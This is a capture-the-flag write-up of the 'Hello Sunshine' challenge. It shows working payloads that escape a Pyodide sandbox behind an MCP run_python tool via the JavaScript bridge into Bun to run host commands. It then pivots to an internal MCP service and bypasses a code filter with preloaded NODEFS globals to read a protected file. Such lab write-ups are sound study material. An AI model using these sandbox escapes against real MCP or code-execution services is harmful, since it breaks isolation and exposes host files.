Hello Sunshine

May 18, 2026

Hello Sunshine

Overview

Hello Sunshine was an MCP-over-HTTP challenge at open-sunshine.mcp.ctf. The public service exposed a run_python tool backed by Pyodide, but the sandbox had a JavaScript bridge into a Bun host process.

The first flag was readable from the external process running as part1. The second flag was protected by Unix permissions and required pivoting to an internal MCP service on 127.0.0.1:8080 running as part2.

Concrete flag filenames and flag values are redacted in this public version.

Service Fingerprinting

The target did not behave like a normal web app:

curl -i "http://open-sunshine.mcp.ctf"
curl -i -X OPTIONS "http://open-sunshine.mcp.ctf"
curl -i -X POST "http://open-sunshine.mcp.ctf"

Observed behavior:

  • GET returned 405 Method Not Allowed
  • OPTIONS advertised multiple methods
  • POST required Accept: application/json, text/event-stream

Initializing it as an MCP JSON-RPC endpoint identified the external server as MCPy 1.0.0:

curl -i -X POST "http://open-sunshine.mcp.ctf" \
  -H "Accept: application/json, text/event-stream" \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"opencode","version":"1.0"}}}'

Listing tools showed the useful primitive:

run_python

Pyodide Environment Escape

Basic run_python calls worked normally:

curl -s -X POST "http://open-sunshine.mcp.ctf" \
  -H "Accept: application/json, text/event-stream" \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"run_python","arguments":{"code":"print(1+1)"}}}'

Environment probing showed that Python was running in Pyodide and that the js bridge was available:

import sys
print(sys.version)
print(sys.path)

import js
print(dir(js)[:20])

That bridge exposed Bun/Node-like host objects. Calling Bun.spawnSync(...) through js.eval(...) confirmed host command execution as the external part1 user:

import js
print(js.eval('Bun.spawnSync({cmd:["ls","-la","/home/part1"], stdout:"pipe"}).stdout.toString()'))

First Flag

Using the host escape, I searched for flag-like files:

import js
print(js.eval('Bun.spawnSync({cmd:["find","/","-maxdepth","3","-iname","*flag*"], stdout:"pipe", stderr:"pipe"}).stdout.toString()'))

This found separate files for part 1 and part 2. The exact filenames are redacted:

/flag-part1-[redacted].txt
/flag-part2-[redacted].txt

The part 1 file was readable directly by the external part1 process:

import js
print(js.eval('Bun.spawnSync({cmd:["cat","/flag-part1-[redacted].txt"], stdout:"pipe", stderr:"pipe"}).stdout.toString()'))

The first flag value is redacted:

[redacted hello_sunshine flag 1]

Why Part 2 Needed A Pivot

The second flag file existed on disk but was not readable by part1:

-r--r----- 1 root part2 ... /flag-part2-[redacted].txt

Direct reads returned Permission denied.

Process and listener enumeration revealed another local service:

  • external MCP service on port 80, running as part1
  • internal MCP service on 127.0.0.1:8080, running as part2
  • two Bun processes, one for each user

Reaching The Internal MCP Service

The external part1 process could reach the internal service by shelling out to curl from inside Bun.spawnSync(...).

Initializing the internal endpoint identified it as MCPy 1.0.1, and it also exposed only run_python.

To make repeated testing manageable, I used a local helper script that sent an outer MCP request to the public server. The outer Python payload then made an inner POST to 127.0.0.1:8080:

node "outputs/pivot_part2.mjs" "print(1)"

Internal Filter Bypass

The internal service blocked obvious dangerous code such as import js, returning a dangerous-code error. However, its runtime already exposed useful globals.

Probes like these showed what was available:

node "outputs/pivot_part2.mjs" "print(sorted(globals().keys()))"
node "outputs/pivot_part2.mjs" "print(__builtins__)"
node "outputs/pivot_part2.mjs" "print(repr(globals()['pjs']))"
node "outputs/pivot_part2.mjs" "print(dir(pjs)[:50])"
node "outputs/pivot_part2.mjs" "print([k for k in dir(pjs.FS.filesystems)][:100])"

Important findings:

  • pjs, api, ffi, and other helper globals were already present
  • fn already held the path to the second flag
  • pjs.FS.filesystems.NODEFS was available

The leaked pjs.globals data included the second flag path, redacted here:

fn = '/flag-part2-[redacted].txt'

Reading The Second Flag

The winning payload created a NODEFS node for the host path and then read it through Python’s file API:

node "outputs/pivot_part2.mjs" "r=pjs.FS.lookupPath('/').node;n=pjs.FS.filesystems.NODEFS.createNode(r,fn[1:],pjs.FS.filesystems.NODEFS.getMode(fn),0);print(open('/'+fn[1:]).read())"

Why it worked:

  • fn already contained the real host path to the second flag
  • NODEFS.getMode(fn) touched host file metadata without needing a filtered import
  • NODEFS.createNode(...) created an Emscripten/Node-backed file node under /
  • Python open('/'+fn[1:]).read() then read through that mounted node abstraction as the internal part2 context

The second flag is redacted:

[redacted hello_sunshine flag 2]

Takeaways

The public MCP endpoint was not safely sandboxed because Pyodide exposed a live JavaScript bridge into Bun. The second stage showed that filtering dangerous source text is not enough if the runtime already contains powerful preloaded globals and filesystem abstractions.